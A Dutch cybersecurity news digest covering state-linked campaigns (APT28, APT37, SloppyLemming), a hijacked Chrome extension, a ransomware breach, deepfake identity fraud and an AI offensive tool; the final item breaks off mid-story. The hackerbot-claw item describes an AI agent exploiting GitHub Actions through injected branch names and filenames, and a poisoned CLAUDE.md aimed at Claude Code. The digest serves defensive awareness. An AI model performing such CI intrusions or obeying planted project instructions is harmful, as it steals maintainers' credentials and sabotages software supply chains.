Het National Cyber Security Centre (NCSC) van het Verenigd Koninkrijk heeft Britse organisaties gewaarschuwd voor een verhoogd risico op Iraanse cyberaanvallen, te midden van het conflict in het Midden-Oosten. Hoewel er geen significante verandering is in de directe cyberdreiging van Iran jegens het VK, stelt het NCSC dat dit op elk moment kan veranderen, gezien de snelle ontwikkelingen in de regio.

De waarschuwing is voornamelijk bedoeld voor organisaties en entiteiten met een aanwezigheid of toeleveringsketen in het Midden-Oosten. Het NCSC voegt eraan toe dat, ondanks de wijdverspreide internet black-out in Iran, door de Iraanse overheid opgelegd, door de staat gesteunde hackgroepen waarschijnlijk nog steeds in staat zijn om doelen aan te vallen. "Iraanse staats- en aan Iran gelinkte cyberactoren hebben vrijwel zeker nog steeds de mogelijkheid om cyberactiviteiten uit te voeren," aldus het NCSC.

Britse organisaties wordt geadviseerd zich voor te bereiden op mogelijke cyberaanvallen door de eerder uitgebrachte richtlijnen te volgen met betrekking tot DDoS aanvallen, phishing-activiteiten en ICS-targeting. Organisaties die te maken hebben met aanvallen gericht op hun toeleveringsketens of vestigingen in het Midden-Oosten, wordt aangeraden hun externe aanvalsoppervlak te evalueren en de monitoring te intensiveren.

Jonathon Ellison, NCSC Director for National Resilience, benadrukt dat het cruciaal is dat alle Britse organisaties alert blijven op het potentiële risico van cybercompromissen, vooral die met activa of toeleveringsketens in gebieden met regionale spanningen. Hij moedigt organisaties sterk aan om direct actie te ondernemen en de aanbevolen maatregelen te volgen om hun cyberbeveiligingspositie te prioriteren en te versterken.

Deze waarschuwing volgt op een eerdere waarschuwing in juni van het U.S. Department of Homeland Security, waarin werd gewaarschuwd voor escalerende cyberaanvalsrisico's door door Iran gesteunde hackgroepen en pro-Iraanse hacktivisten als gevolg van de onrust in het Midden-Oosten. In oktober waarschuwde een gezamenlijk advies van Amerikaanse cyberagentschappen voor Iraans-gelieerde hackers die Amerikaanse kritieke infrastructuur aanvallen.

Bron: NCSC | Bron 2: cisa.gov

Google heeft een nieuw programma aangekondigd in zijn Chrome-browser om HTTPS certificaten te beveiligen tegen de toekomstige risico's van quantumcomputers. Chrome is geen onmiddellijk plan om traditionele X.509-certificaten met post quantum cryptografie toe te voegen aan de Chrome Root Store. In plaats daarvan ontwikkelt Chrome, in samenwerking met partners, een evolutie van HTTPS certificaten op basis van Merkle Tree Certificates (MTC's), die momenteel in ontwikkeling zijn in de PLANTS-werkgroep.

MTC is een voorstel voor de volgende generatie van de Public Key Infrastructure (PKI) die wordt gebruikt om het internet te beveiligen. Het doel is het aantal publieke sleutels en handtekeningen in de TLS-handshake te minimaliseren. In dit model ondertekent een certificeringsinstantie (CA) een enkele 'Tree Head' die mogelijk miljoenen certificaten vertegenwoordigt, en het 'certificaat' dat naar de browser wordt verzonden, is een lichtgewicht bewijs van opname in die boom, aldus Google.

MTC's faciliteren de adoptie van post quantum algoritmen zonder extra bandbreedte te vereisen die gepaard gaat met klassieke X.509-certificaatketens. Deze aanpak ontkoppelt de veiligheidssterkte van het bijbehorende cryptografische algoritme van de grootte van de gegevens die naar de gebruiker worden verzonden. Door de authenticatiegegevens in een TLS-handshake te minimaliseren, streven MTC's ernaar het post quantum web net zo snel en naadloos te houden als het huidige internet, met behoud van hoge prestaties, zelfs als we sterkere beveiliging implementeren.

Google experimenteert al met MTC's met echt internetverkeer en is van plan de uitrol geleidelijk uit te breiden in drie fasen tegen het derde kwartaal van 2027.

Fase 1 (lopend): Google voert een haalbaarheidsstudie uit in samenwerking met Cloudflare om de prestaties en beveiliging te evalueren van TLS-verbindingen die afhankelijk zijn van MTC's.

Fase 2 (Q1 2027): Google is van plan om Certificate Transparency (CT) Log operators met ten minste één "bruikbare" log in Chrome vóór 1 februari 2026 uit te nodigen om deel te nemen aan de initiële bootstrapping van publieke MTC's.

Fase 3 (Q3 2027): Google zal de vereisten afronden voor het onboarden van extra CA's in de nieuwe Chrome Quantum-resistant Root Store (CQRS) en het bijbehorende Root Program dat alleen MTC's ondersteunt.

Google beschouwt de adoptie van MTC's en een kwantumresistente root store als een kans om de robuustheid van de basis van het huidige ecosysteem te waarborgen. Door te ontwerpen voor de specifieke eisen van een modern, agile internet, kan de adoptie van post quantum resilience voor alle webgebruikers worden versneld.

Bron: security.googleblog.com | Bron 2: blog.cloudflare.com

Een populaire Google Chrome extensie, QuickLens, met meer dan zevenduizend installaties, is na de verkoop door de oorspronkelijke ontwikkelaar van malware voorzien. Google heeft de extensie inmiddels uit de Chrome Web Store verwijderd. QuickLens werd vorige maand te koop aangeboden op ExtensionHub, een marktplaats voor browser-extensies. Twee weken na de overname verscheen een update van de extensie, die automatisch bij Chrome-gebruikers werd geïnstalleerd.

De kwaadaardige update verwijdert security headers uit HTTP-responses, waardoor verschillende aanvallen mogelijk worden, waaronder clickjacking en cross-site scripting. Daarnaast injecteert de extensie een script in elke bezochte webpagina, waardoor willekeurige requests naar andere domeinen kunnen worden verstuurd. Normaliter zouden de security headers deze requests blokkeren, aldus securitybedrijf Annex.

Het geïnjecteerde script toont een melding dat de gebruiker een zogenaamde Chrome-update moet installeren of een fake captcha moet oplossen. In beide gevallen wordt de gebruiker misleid om een commando op zijn systeem uit te voeren, wat leidt tot de installatie van malware. Annex waarschuwt voor de risico's van legitieme extensies die door criminelen worden overgenomen en misbruikt voor de verspreiding van malware.

Bron: Annex

Onderzoek heeft aangetoond dat de APT28-groep betrokken is bij de exploitatie van een zero-day kwetsbaarheid in de MSHTML Framework, aangeduid als CVE-2026-21513. Deze high-severity security feature bypass heeft een CVSS score van 8.8. Microsoft heeft de kwetsbaarheid, die een ongeautoriseerde aanvaller in staat stelt om een beveiligingsfunctie via het netwerk te omzeilen, verholpen als onderdeel van de Patch Tuesday-update van februari 2026.

De techgigant meldde dat de kwetsbaarheid al als zero-day werd misbruikt in daadwerkelijke aanvallen. Microsoft Threat Intelligence Center (MSTIC), Microsoft Security Response Center (MSRC), Office Product Group Security Team en Google Threat Intelligence Group (GTIG) worden genoemd als de partijen die de kwetsbaarheid hebben gerapporteerd.

Een potentiële aanval zou kunnen plaatsvinden door een slachtoffer te overtuigen een kwaadaardig HTML bestand of een shortcut-bestand (LNK) te openen, dat via een link of als bijlage bij een e-mail is verzonden. Het openen van het bestand manipuleert de browser en de Windows Shell-handling, waardoor de inhoud door het besturingssysteem wordt uitgevoerd, aldus Microsoft. Dit stelt de aanvaller in staat om beveiligingsfuncties te omzeilen en mogelijk code uit te voeren.

Akamai identificeerde een kwaadaardig artifact dat op 30 januari 2026 naar VirusTotal werd geüpload en is gekoppeld aan infrastructuur die in verband wordt gebracht met APT28. Het Computer Emergency Response Team van Oekraïne (CERT-UA) had de sample al eerder deze maand gemarkeerd in verband met APT28-aanvallen die misbruik maakten van een andere beveiligingsfout in Microsoft Office (CVE-2026-21509, CVSS score: 7.8).

CVE-2026-21513 is geworteld in de logica binnen "ieframe.dll" die hyperlinknavigatie afhandelt. Het is het gevolg van onvoldoende validatie van de doel-URL, waardoor input die door de aanvaller wordt beheerd, code paths kan bereiken die ShellExecuteExW aanroepen. Dit maakt de uitvoering van lokale of externe bronnen buiten de beoogde browser security context mogelijk.

Volgens security researcher Maor Dahan bevat de payload een speciaal vervaardigde Windows Shortcut (LNK) die direct na de standaard LNK-structuur een HTML bestand embedt. Het LNK-bestand initieert communicatie met het domein wellnesscaremed[.]com, dat wordt toegeschreven aan APT28 en al uitgebreid wordt gebruikt voor de multistage payloads van de campagne. De exploit maakt gebruik van geneste iframes en meerdere DOM-contexten om trust boundaries te manipuleren.

De techniek maakt het voor een aanvaller mogelijk om Mark-of-the-Web (MotW) en Internet Explorer Enhanced Security Configuration (IE ESC) te omzeilen, wat leidt tot een downgrade van de security context en uiteindelijk de uitvoering van kwaadaardige code buiten de browser sandbox mogelijk maakt via ShellExecuteExW. Hoewel de waargenomen campagne gebruikmaakt van kwaadaardige LNK bestanden, kan het kwetsbare code path worden getriggerd via elk component dat MSHTML embedt.

Bron: Akamai | Bron 2: msrc.microsoft.com | Bron 3: learn.microsoft.com

Het University of Hawaiʻi Cancer Center heeft bekendgemaakt dat de informatie van mogelijk 1,2 miljoen mensen is gelekt als gevolg van een ransomwareaanval op de afdeling epidemiologie vorig jaar. Volgens een verklaring van de universiteit hebben hackers toegang gekregen tot bestanden met burgerservicenummers (BSN) en rijbewijsnummers, afkomstig van het Hawaiʻi State Department of Transportation, evenals kiezersregistratiegegevens van de stad en het graafschap Honolulu uit 1998.

Een deel van het datalek is terug te voeren op de Multiethnic Cohort (MEC) Study, die in 1993 is opgezet. De universiteit gebruikte rijbewijsnummers en kiezersregistratiegegevens om deelnemers te werven voor het onderzoek. Sommige van de blootgestelde bestanden bevatten gezondheidsgerelateerde informatie. Naast gegevens van MEC Study-deelnemers, werden ook bestanden met betrekking tot drie andere epidemiologische onderzoeken naar voeding en kanker ingezien. Er loopt nog onderzoek om vast te stellen of er nog andere gevoelige informatie is ingezien.

In totaal zijn de gegevens van 87.493 mensen die aan het onderzoek deelnamen gestolen, maar de universiteit zei dat "het aantal extra personen wiens persoonlijke informatie mogelijk was opgenomen in de historische rijbewijs- en kiezersregistratiegegevens met BSN identifiers ongeveer 1,15 miljoen bedraagt."

In januari stuurde de universiteit een rapport naar de wetgevende macht van de staat waarin stond dat het cyberincident voor het eerst werd ontdekt op 31 augustus 2025. "Door de uitgebreide versleuteling door de dreigingsactoren kostte het UH enige tijd om de getroffen systemen te herstellen en in staat te zijn de impact op de gegevens te beoordelen", aldus de universiteit in het rapport. "Terwijl het onderzoek gaande was, nam UH de moeilijke beslissing om met de dreigingsactoren in contact te treden om de personen te beschermen wier gevoelige informatie mogelijk was gecompromitteerd."

De gestolen informatie bevond zich op bepaalde servers die de epidemiologische onderzoeksactiviteiten van het University of Hawaiʻi Cancer Center ondersteunen in een subset van onderzoeksbestanden. De ransomwareaanval had geen invloed op informatie die wordt bewaard door de Clinical Trials-activiteiten, patiëntenzorg of andere afdelingen van het Cancer Center van de Universiteit van Hawaï.

Naoto Ueno, directeur van het University of Hawaiʻi Cancer Center, heeft zijn excuses aangeboden voor het incident en zei dat de organisatie "transparantie nastreeft". De universiteit zei dat de aanvallers gegevens hebben versleuteld en waarschijnlijk geëxfiltreerd, wat hen ertoe aanzette de wetshandhaving op de hoogte te stellen en cybersecurity experts in te huren om de situatie op te lossen. Het cybersecuritybedrijf verkreeg een decryptietool en verzekerde "een bevestiging dat alle verkregen informatie werd vernietigd". Universiteitsfunctionarissen beweerden dat er "geen bewijs is dat enige informatie is gepubliceerd, gedeeld of misbruikt." De groep die verantwoordelijk is voor de aanval is niet geïdentificeerd.

Bron: University of Hawaiʻi | Bron 2: hawaii.edu | Bron 3: recordedfuture.com

Op het darkweb worden gecompromitteerde e-mailaccounts van politiediensten uit diverse EU landen aangeboden voor 1.000 dollar per stuk. Cybercrimeinfo ontdekte dat de aanbieder, bekend onder de naam "lucy", deze accounts verkoopt met het doel frauduleuze emergency data requests (EDR's) in te dienen bij grote techbedrijven zoals Meta, Google, Telegram, WhatsApp, TikTok en X (voorheen Twitter).

De verkoper benadrukt dat de accounts afkomstig zijn van "first-world EU countries", waarmee de geloofwaardigheid en effectiviteit van de dataverzoeken zouden worden verhoogd. Accounts uit Oost-Europese landen worden uitgesloten. Kopers kunnen de accounts ook gebruiken om formele juridische kennisgevingen en op een subpoena lijkende verzoeken te versturen, of om zich via social engineering voor te doen als EU politieonderzoekers.

De levering omvat de volledige inloggegevens (e-mailadres en wachtwoord) en een basis handleiding. Tegen een meerprijs van 300 dollar kan een vervalste politie ID in de vorm van een professionele scan of PDF worden bijgeleverd, wat kan dienen als back-up voor verificatie. Betalingen worden geaccepteerd in diverse cryptovaluta, waaronder BTC, LTC, ETH, SOL, USDT en Monero, waarbij de voorkeur uitgaat naar Monero.

Bron: Darkweb

Onderzoekers hebben malware ontdekt die USB sticks infecteert om zo air-gapped systemen te compromitteren. Volgens cybersecuritybedrijf Zscaler is de malware afkomstig van de aan Noord-Korea gelieerde groep APT37, ook bekend als ScarCruft, Ruby Sleet en Velvet Chollima, die zich bezighoudt met cyberspionage.

Air-gapping is een beveiligingsmaatregel waarbij systemen met vertrouwelijke data niet met het internet zijn verbonden. Een offline computer kan echter nog steeds worden geïnfecteerd, bijvoorbeeld via USB sticks of een kwaadwillende werknemer. Een bekend voorbeeld hiervan is Stuxnet. Om data van een besmette offline computer te stelen, hebben onderzoekers en aanvallers verschillende methoden ontwikkeld, zoals het gebruik van speakers, airconditioning, geluid van de harde schijf, ventilatoren, radiogolven, infraroodcamera's, scanners, afgegeven warmte, USB straling, mobiele telefoons, harde schijflampjes, routerlampjes, magnetische velden, toetsenbordlampjes, wifi signalen, ledlampjes, SATA kabels en ultrasonische signalen. Hiermee kan data direct naar de aanvaller worden gestuurd of via een besmette computer, smartphone of ander apparaat in de buurt met internetverbinding.

De infectie begint met een .LNK bestand dat het doelwit opent. Het is niet bekend hoe dit bestand bij het doelwit terechtkomt, maar APT37 heeft in het verleden LNK bestanden naar doelwitten gemaild. Eenmaal geopend, installeert het .LNK bestand malware op het systeem. Deze malware infecteert aangesloten USB sticks. Zodra een USB stick op de besmette computer wordt aangesloten, controleert de malware of de stick groter is dan twee gigabyte. Vervolgens wordt een verborgen map genaamd RECYCLE.BIN aangemaakt. De malware verbergt en vervangt aanwezige bestanden op de USB stick met .LNK bestanden die identieke namen hebben. Ook wordt de malware naar de USB stick gekopieerd. Zodra de besmette USB stick op een schoon systeem wordt aangesloten en de gebruiker een malafide .LNK bestand opent, raakt ook het schone systeem besmet.

De malware zoekt op het nieuwe besmette systeem naar bestanden en kopieert die naar de verborgen RECYCLE.BIN map. Zodra de besmette USB stick op het eerder geïnfecteerde systeem met internetverbinding wordt aangesloten, leest de malware op het besmette systeem de data in de RECYCLE.BIN map uit en stuurt die naar een server van de aanvallers. gebruikers van Windows die voor de detailweergave van bestanden kiezen, kunnen zien dat de vervangen bestanden snelkoppelingen zijn en niet de oorspronkelijke bestanden.

Bron: Zscaler

Deepfakes zijn niet langer beperkt tot misinformatiecampagnes; ze worden nu ingezet om identiteitsverificatie te omzeilen, bijvoorbeeld bij klant onboarding, verificatie van verkopers op marktplaatsen, account recovery, remote hiring en partner toegang. Nu meer werk en zaken op afstand worden gedaan, is identiteit een belangrijk controlepunt en doelwit geworden. Kwaadwillenden proberen niet alleen een selfie check te misleiden, maar willen een echt persoon nabootsen, duurzame toegang verkrijgen en die toegang hergebruiken in verschillende omgevingen.

Cybersecurity- en fraudeteams hebben te maken met een combinatie van tactieken die allemaal gericht zijn op het moment waarop een systeem concludeert "dit is een echt persoon":

*   High-fidelity synthetische gezichten en stemmen die snelle controles kunnen doorstaan

*   Herhaalde echte beelden van gestolen of geoogste sessies

*   Automatisering die verificatie flows op schaal onderzoekt

*   Injectie aanvallen die de capture pipeline compromitteren en de input stream stroomopwaarts vervangen

"Deepfake detection" alleen is niet langer voldoende. Bedrijven hebben volledige sessievalidatie nodig, inclusief perceptie, device integrity en behavioral signals, allemaal in één real-time controle. Dat is het model achter Incode Deepsight: een aanpak die is gebouwd om identity sessies end-to-end te valideren, niet alleen om de media in isolatie te evalueren. De juiste vraag is niet alleen "Ziet dit gezicht er echt uit?", maar "Kunnen we deze hele sessie end-to-end vertrouwen?".

In enterprise systemen is een succesvolle bypass geen reputatie event, maar een access event. Wanneer verificatie een gemanipuleerde of gecompromitteerde sessie als echt accepteert, kunnen aanvallers frauduleuze accounts aanmaken met behulp van synthetische identiteiten, bestaande user accounts overnemen, HR verificatie omzeilen bij remote hiring en ongeautoriseerde toegang krijgen tot gevoelige interne systemen. In tegenstelling tot sociale media misleiding, kunnen deze aanvallen permanente toegang mogelijk maken binnen vertrouwde omgevingen. De downstream impact is duurzaam: account persistentie, privilege escalatie pathways en laterale movement mogelijkheden die beginnen met een enkele valse verificatie beslissing.

De meeste identity checks zijn gebouwd rond twee signalen: facial similarity en "liveness". Beide zijn nuttig, maar kunnen worden ondermijnd als het systeem ervan uitgaat dat de input stream authentiek is. Aanvallers doorbreken die aanname op twee manieren. Ten eerste bootsen ze echte media na. Deepfakes en voice clones verbeteren onder reële omstandigheden - korte clips, mobiele capture, compressie en imperfecte verlichting. Een workflow die afhankelijk is van een smal visueel oppervlak is steeds meer blootgesteld aan valse acceptatie. Ten tweede omzeilen ze de sensor volledig. Injectie aanvallen vervangen de input stream voordat deze de analyse bereikt. In plaats van een gezicht aan een camera te presenteren, kunnen aanvallers virtual camera software gebruiken om synthetische of vooraf opgenomen video te voeden, verificatie sessies uitvoeren in emulators die zijn ontworpen om legitieme mobiele devices na te bootsen, opereren vanaf rooted of jailbroken devices die integrity checks omzeilen en live capture vervangen door gemanipuleerde streams stroomopwaarts. In deze scenario's kan de media er perfect uitzien omdat deze nooit een echt capture path heeft hoeven overleven. Dat is waarom perceptie-only defenses (zelfs sterke) noodzakelijk, maar niet voldoende zijn.

Onderzoekers van Purdue University evalueerden deepfake detection systemen met behulp van hun real-world benchmark op basis van de Political Deepfakes Incident Database (PDID). PDID bevat echte incident media die worden gedistribueerd op platforms zoals X, YouTube, TikTok en Instagram, wat betekent dat de inputs worden gecomprimeerd, opnieuw gecodeerd en post-processed op dezelfde manieren die verdedigers vaak in productie zien. Belangrijke factoren zijn onder meer zware compressie en hercodering, sub-720p resolutie, korte, mobile-first clips en heterogene generation pipelines. Detectoren werden end-to-end geëvalueerd met behulp van metrics zoals accuracy, AUC en false-acceptance rate (FAR). In identity workflows is FAR vaak de meer consequente metric, omdat zelfs een kleine false-acceptance rate permanente ongeautoriseerde toegang kan toestaan. De resultaten van Purdue benadrukken ook een praktische realiteit voor verdedigers: prestaties variëren dramatisch tussen detectoren zodra inputs eruitzien als productie. Van de commerciële systemen die in Purdue's PDID benchmark werden geëvalueerd, leverde Incode's Deepsight de sterkste resultaten wanneer de taak puur visuele deepfake detection is - het evalueren van video content zelf onder reële incident omstandigheden.

Bron: Incode

Tussen 21 en 28 februari 2026 heeft een autonome bot genaamd hackerbot-claw een aanvalscampagne van een week gelanceerd tegen grote open source repositories. De bot richtte zich op GitHub Actions CI/CD pipelines van Microsoft, DataDog, de Cloud Native Computing Foundation en diverse andere veelgebruikte projecten. In zeven dagen opende de bot meer dan 12 pull requests in minstens zes repositories en behaalde remote code execution in minstens vier daarvan.

Het GitHub-profiel van de bot, aangemaakt op 20 februari 2026, beschrijft het als een "autonome security research agent powered by claude-opus-4-5" die cryptocurrency-donaties werft. Het werkte door een vulnerability pattern index te laden met 9 aanvalsklassen en 47 sub-patronen, die werden gebruikt om proof-of-concept exploits te scannen, verifiëren en implementeren zonder menselijke tussenkomst.

De meest schadelijke actie was het stelen van een GitHub token met schrijfrechten van de avelino/awesome-go repository, die meer dan 140.000 sterren op GitHub heeft. StepSecurity onderzoekers identificeerden de campagne en traceerden elke aanval stap voor stap, waarbij bleek dat hackerbot-claw vijf verschillende exploitatie technieken gebruikte op zeven doelwitten. Het recente activiteitlogboek van de bot toonde vijf succesvolle sessies in de twee dagen voordat de campagne werd ontdekt, wat wijst op een agressieve en voortdurende operatie.

Elke aanval leverde dezelfde payload af: een curl commando dat hackmoltrepeat.com benaderde en een remote script uitvoerde, terwijl een secundair domein, recv.hackmoltrepeat.com, gestolen credentials verzamelde. De ernstigste uitkomst vond plaats tegen Aqua Security’s Trivy repository, een veelgebruikte open source vulnerability scanner met meer dan 25.000 GitHub sterren. Na het stelen van een Personal Access Token hernoemde de bot de repository, verwijderde alle GitHub Releases tussen versies 0.27.0 en 0.69.1 en pushte een verdacht artifact naar Trivy’s VS Code extensie op de Open VSX marketplace. Aqua Security herstelde later de publieke toegang en publiceerde versie 0.69.2.

De campagne markeerde ook een opmerkelijk moment in software security: een AI-aangedreven bot die probeert een andere AI tool te manipuleren om kwaadaardige acties uit te voeren. Tegen de ambient-code/platform repository verving hackerbot-claw het CLAUDE.md bestand van het project met instructies die ontworpen waren om Claude Code te misleiden om ongeautoriseerde wijzigingen door te voeren en valse goedkeuringsopmerkingen te plaatsen. Claude Code detecteerde de poging en weigerde, en classificeerde het als een "textbook AI agent supply-chain attack via poisoned project-level instructions."

De centrale zwakte die hackerbot-claw in deze campagne exploiteerde, was een bekend maar vaak over het hoofd gezien patroon in GitHub Actions: het gebruiken van de pull_request_target trigger tijdens het uitchecken van code van een niet-vertrouwde fork. Deze trigger geeft een workflow toegang tot de repository’s secrets en permissions, maar in combinatie met een checkout van de fork van de aanvaller, geeft het de code van die aanvaller dezelfde verhoogde toegang.

In de avelino/awesome-go aanval injecteerde de bot een Go init() functie in een quality check script. Omdat Go init() automatisch uitvoert voor main(), werd de kwaadaardige code uitgevoerd voordat er legitieme checks plaatsvonden. De bot probeerde het zes keer in 18 uur, waarbij de aanpak bij elke poging werd verfijnd totdat de laatste twee runs succesvol waren en het GitHub token naar een externe server werd verzonden. Tegen Microsoft’s ai-discovery-agent repository embedded de bot de payload direct in de git branch naam met behulp van bash command substitution, die werd getriggerd toen de workflow de unescaped branch naam in een bestand schreef. Het build log toonde een vertraging van 2 minuten en 38 seconden in een stap die normaal gesproken in milliseconden voltooid is.

DataDog’s datadog-iac-scanner werd aangevallen met base64-gecodeerde shell commando's verborgen in ingediende bestandsnamen, getriggerd via een /sync-metadata pull request comment. DataDog implementeerde emergency workflow patches binnen negen uur.

Organisaties zouden moeten stoppen met het gebruiken van pull_request_target naast untrusted fork checkouts. Alle ${{ }} expressions die in shell run blocks worden gebruikt, moeten via environment variables worden doorgegeven om injectie te voorkomen. GitHub token permissions moeten worden ingesteld op least-privilege — read-only waar write access niet vereist is. CI runners moeten outbound network traffic monitoren en vergrendelen tot bekende, vertrouwde endpoints. Comment-triggered workflows moeten een author_association gate bevatten om te bevestigen dat de commenter de juiste repository role heeft voordat er een script wordt uitgevoerd.

Bron: StepSecurity

De dreigingsactor, bekend als SloppyLemming, wordt toegeschreven aan een reeks nieuwe aanvallen gericht op overheidsinstanties en exploitanten van kritieke infrastructuren in Pakistan en Bangladesh. Volgens Arctic Wolf vond de activiteit plaats tussen januari 2025 en januari 2026. De aanvallen maken gebruik van twee verschillende aanvalsketens om malwarefamilies te verspreiden, die worden aangeduid als BurrowShell en een op Rust gebaseerde keylogger.

Het gebruik van de programmeertaal Rust vertegenwoordigt een opmerkelijke evolutie in de tooling van SloppyLemming. Eerdere rapporten documenteerden dat de actor uitsluitend traditionele gecompileerde talen en geleende adversary simulation frameworks gebruikte, zoals Cobalt Strike, Havoc en de custom NekroWire RAT.

SloppyLemming is de naam die is toegewezen aan een dreigingsactor die sinds minstens 2022 bekend staat om het aanvallen van overheden, wetshandhavingsinstanties, energie-, telecommunicatie- en technologiebedrijven in Pakistan, Sri Lanka, Bangladesh en China. De groep staat ook bekend onder de namen Outrider Tiger en Fishing Elephant. Eerdere campagnes van de hacking groep maakten gebruik van malwarefamilies zoals Ares RAT en WarHawk, die vaak worden toegeschreven aan SideCopy en SideWinder.

De analyse van Arctic Wolf van de meest recente aanvallen heeft het gebruik van spear-phishing e-mails blootgelegd om PDF-lokmiddelen en Excel documenten met macro's te verspreiden om de infectieketens te starten. De PDF-decoy's bevatten URL's die zijn ontworpen om slachtoffers naar ClickOnce-applicatiemanifesten te leiden, die vervolgens een legitiem Microsoft .NET runtime executable ("NGenTask.exe") en een kwaadaardige loader ("mscorsvc.dll") implementeren. De loader wordt gelanceerd met behulp van DLL sideloading om een aangepaste x64 shellcode-implantaat te decoderen en uit te voeren met de codenaam BurrowShell.

BurrowShell is een full-featured backdoor die de dreigingsactor voorziet van mogelijkheden voor manipulatie van het bestandssysteem, het maken van screenshots, het uitvoeren van remote shells en SOCKS proxy mogelijkheden voor network tunneling. Het implantaat vermomt zijn command-and-control (C2) verkeer als Windows Update service communicatie en gebruikt RC4 encryptie met een 32-karakter sleutel voor payload bescherming.

De tweede aanvalsketen maakt gebruik van Excel documenten met kwaadaardige macro's om de keylogger malware te droppen, terwijl het ook functies bevat om port scanning en network enumeration uit te voeren. Verder onderzoek van de infrastructuur van de dreigingsactor heeft 112 Cloudflare Workers domeinen geïdentificeerd die zijn geregistreerd gedurende de periode van één jaar, een sprong van acht keer ten opzichte van de 13 domeinen die in september 2024 door Cloudflare werden gemarkeerd.

De campagne's links met SloppyLemming zijn gebaseerd op voortdurende exploitatie van Cloudflare Workers infrastructuur met overheidsthema's typo-squatting patronen, implementatie van het Havoc C2 framework, DLL sideloading technieken en victimologie patronen. Het is vermeldenswaardig dat sommige aspecten van de tradecraft van de dreigingsactor, waaronder het gebruik van ClickOnce-enabled execution, overlappen met een recente SideWinder campagne die in oktober 2025 door Trellix werd gedocumenteerd.

De targeting van Pakistaanse nucleaire regelgevende instanties, defensie logistieke organisaties en telecommunicatie infrastructuur - naast Bangladeshi energiebedrijven en financiële instellingen - sluit aan bij de prioriteiten van intelligence verzameling die consistent zijn met regionale strategische concurrentie in Zuid-Azië. De inzet van dubbele payloads - de in-memory shellcode BurrowShell voor C2 en SOCKS proxy operaties, en een op Rust gebaseerde keylogger voor het stelen van informatie - suggereert dat de dreigingsactor flexibiliteit behoudt om de juiste tools in te zetten op basis van doelwaarde en operationele vereisten.

Bron: Arctic Wolf | Bron 2: crowdstrike.com

Hackers maken actief gebruik van een nieuwe, door kunstmatige intelligentie (AI) aangedreven offensieve securitytool genaamd CyberStrikeAI om edge-apparaten aan te vallen, met name Fortinet FortiGate-appliances. Dit open-source platform, ontwikkeld door een in China gevestigde persoon met mogelijke banden met door de staat gesponsorde operaties, betekent een aanzienlijke escalatie in de inzet van AI voor cyberaanvallen.

Volgens de GitHub-repository is CyberStrikeAI een "AI-native security testing platform gebouwd in Go", dat meer dan 100 securitytools integreert, samen met een intelligente orchestration engine. Het beschikt over rolgebaseerde testing, gespecialiseerde vaardigheidssystemen en uitgebreide lifecycle management mogelijkheden, allemaal toegankelijk via een gecentraliseerd dashboard.

De tool kreeg voor het eerst aandacht na een rapport van het Amazon CTI-team, dat AI-augmented infrastructuur identificeerde die op grote schaal FortiGate apparaten targette. CyberStrikeAI is een open-source offensieve securitytool (OST) geschreven in Go en openbaar gehost op GitHub onder het profiel "Ed1s0nZ."

De tool beschikt over een webdashboard waarmee operators de platformstatus kunnen monitoren en actieve operaties kunnen beheren, waardoor de technische drempel voor het uitvoeren van grootschalige, geautomatiseerde netwerkexploitatiecampagnes aanzienlijk wordt verlaagd.

De analyse van Team Cymru van een specifiek IP-adres dat door Amazon werd gedeeld (212.11.64.250) onthulde de aanwezigheid van een "CyberStrikeAI"-banner op een open poort. Door wereldwijde NetFlow-data te monitoren, zagen onderzoekers dit IP actief communiceren met target Fortinet FortiGate apparaten, wat de rol van het platform in netwerkreconnaissance en exploitatie benadrukt.

Hoewel de CyberStrikeAI-repository aanvankelijk op 8 november 2025 werd opgericht, bleven actieve deployments tot begin 2026 schaars. Tussen 20 januari en 26 februari 2026 trackten onderzoekers echter 21 unieke IP-adressen die het CyberStrikeAI-platform draaiden. Deze snelle verspreiding duidt op een sterke toename van operationeel gebruik. Geografisch gezien zijn deze servers sterk geconcentreerd in Chinees sprekende regio's, waaronder China, Singapore en Hong Kong, wat aansluit bij de achtergrond van de ontwikkelaar.

De ontwikkelaar achter CyberStrikeAI, opererend onder de alias "Ed1s0nZ", heeft een geschiedenis in het maken van tools gericht op exploitatie en privilege escalation. Andere GitHub-projecten zijn PrivHunterAI en InfiltrateX, die AI-engines gebruiken om vulnerability detection te automatiseren, evenals een steganografische document watermarking tool.

Meer zorgwekkend zijn de gedocumenteerde interacties van de ontwikkelaar met entiteiten die gelinkt zijn aan het Chinese Ministerie van Staatsveiligheid (MSS). In december 2025 diende Ed1s0nZ CyberStrikeAI in bij het Starlink Project beheerd door Knownsec 404, een privébedrijf met bekende banden met de MSS en het Chinese Volksbevrijdingsleger. Daarnaast claimde de ontwikkelaar in januari 2026 een "Level 2 Contribution Award" van de Chinese National Vulnerability Database (CNNVD), een programma dat wordt gecontroleerd door de MSS en algemeen wordt beschouwd als een vehikel voor de Chinese Communistische Partij om zero-day vulnerabilities op te slaan.

Interessant is dat Ed1s0nZ onlangs deze CNNVD-referentie van hun profiel heeft verwijderd, waarschijnlijk in een poging om deze staatsconnecties te verdoezelen naarmate de tool meer bekendheid krijgt.

De snelle adoptie van CyberStrikeAI onderstreept een zorgwekkende evolutie in het cybersecurity dreigingslandschap. Het platform verlaagt de drempel voor complexe netwerkexploitatie aanzienlijk door reconnaissance en targeting te automatiseren via AI-orkestratie. Gezien de banden van de ontwikkelaar is er een grote kans dat CyberStrikeAI zal worden geïntegreerd in de arsenalen van door de Chinese staat gesponsorde advanced persistent threat (APT)-groepen.

Bron: GitHub

Een nieuwe malvertising campagne richt zich actief op gebruikers van macOS wereldwijd en verspreidt een nieuwe variant van de AMOS infostealer, genaamd "malext". Aanvallers kopen Google Search advertenties die slachtoffers naar valse helpartikelen leiden op websites voor het gratis delen van tekst, waar een misleidende terminalopdracht stilletjes de stealer op hun machines installeert.

De campagne kwam aan het licht toen een gebruiker van macOS tijdens een zoekopdracht op Google naar hulp bij het opschonen van opslagruimte stuitte op het bovenste zoekresultaat: een valse Medium blogpost. De post leek legitiem en bevatte een kant-en-klare terminalopdracht als onderdeel van de "fix". De gebruiker werd pas achterdochtig toen het apparaat herhaaldelijk om het administratieve wachtwoord begon te vragen, waardoor een volledige systeemcompromis ternauwernood werd voorkomen. Dat incident opende de deur naar een breder onderzoek.

